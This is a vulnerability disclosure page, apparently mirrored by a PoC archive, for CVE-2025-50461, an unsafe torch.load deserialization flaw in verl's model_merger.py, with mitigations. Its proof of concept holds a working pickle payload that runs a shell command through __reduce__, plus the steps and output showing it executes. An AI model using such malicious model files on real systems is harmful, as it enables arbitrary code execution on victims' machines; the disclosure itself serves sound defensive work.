Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-50461 PoC — Volcengine verl 安全漏洞

Source
Associated Vulnerability
Title: Volcengine verl 安全漏洞 (CVE-2025-50461)
Description:A deserialization vulnerability exists in Volcengine's verl 3.0.0, specifically in the scripts/model_merger.py script when using the "fsdp" backend. The script calls torch.load() with weights_only=False on user-supplied .pt files, allowing attackers to execute arbitrary code if a maliciously crafted model file is loaded. An attacker can exploit this by convincing a victim to download and place a malicious model file in a local directory with a specific filename pattern. This vulnerability may lead to arbitrary code execution with the privileges of the user running the script.
Description
Technical Details and Exploit for CVE-2025-50461
Readme
# CVE-2025-50461: Remote Code Execution via Unsafe Model Deserialization in Verl

> **Status: RESERVED**  
> This CVE ID has been assigned but is not yet published in the official CVE list.
> 
> A deserialization vulnerability exists in Volcengine's verl 3.0.0, specifically in the scripts/model_merger.py script when using the "fsdp" backend. The script calls torch.load() with weights_only=False on user-supplied .pt files, allowing attackers to execute arbitrary code if a maliciously crafted model file is loaded. An attacker can exploit this by convincing a victim to download and place a malicious model file in a local directory with a specific filename pattern. This vulnerability may lead to arbitrary code execution with the privileges of the user running the script.

## Description


## Affected Repository

- **Project:** [volcengine/verl](https://github.com/volcengine/verl)
- **Affect versions:** <= v0.4.0
- **File:** `scripts/model_merger.py`
- **GitHub Permalink:** https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
- **Dependency:** PyTorch < 2.6.0

## Proof of Concept (PoC)

### Step 1: Create Malicious Model File (`malicious.pt`)

```python
import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)
```

### Step 2: Rename and Place

```bash
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
```

### Step 3: Execute Vulnerable Script

```bash
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
```

### Result

```
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log
```

The command `mkdir HACKED!` is executed on the victim’s system.

## Mitigation

- **Upgrade** to PyTorch version 2.6.0 or later, which defaults to `weights_only=True`, reducing deserialization risks.
- **Modify code** to explicitly set `weights_only=True` when calling `torch.load`.
- **Implement validation** to verify model file integrity before loading.
- **Educate users** not to load models from untrusted sources.

### Example safer load: 

```python
state_dict = torch.load(path, map_location="cpu", weights_only=True)
```

## CVE Status

| Field            | Value                                      |
| ---------------- | ------------------------------------------ |
| CVE ID           | CVE-2025-50461                             |
| CVSS Score       | TBD                                        |
| CWE              | CWE-502: Deserialization of Untrusted Data |
| Report Date      | 2025-04-30                                 |
| Disclosure Date  | 2025-08-15                                 |
| Affected Version | <= v0.4.0                                   |
| Fix Version      |                                            |

## Author

* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
* Contact: *\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →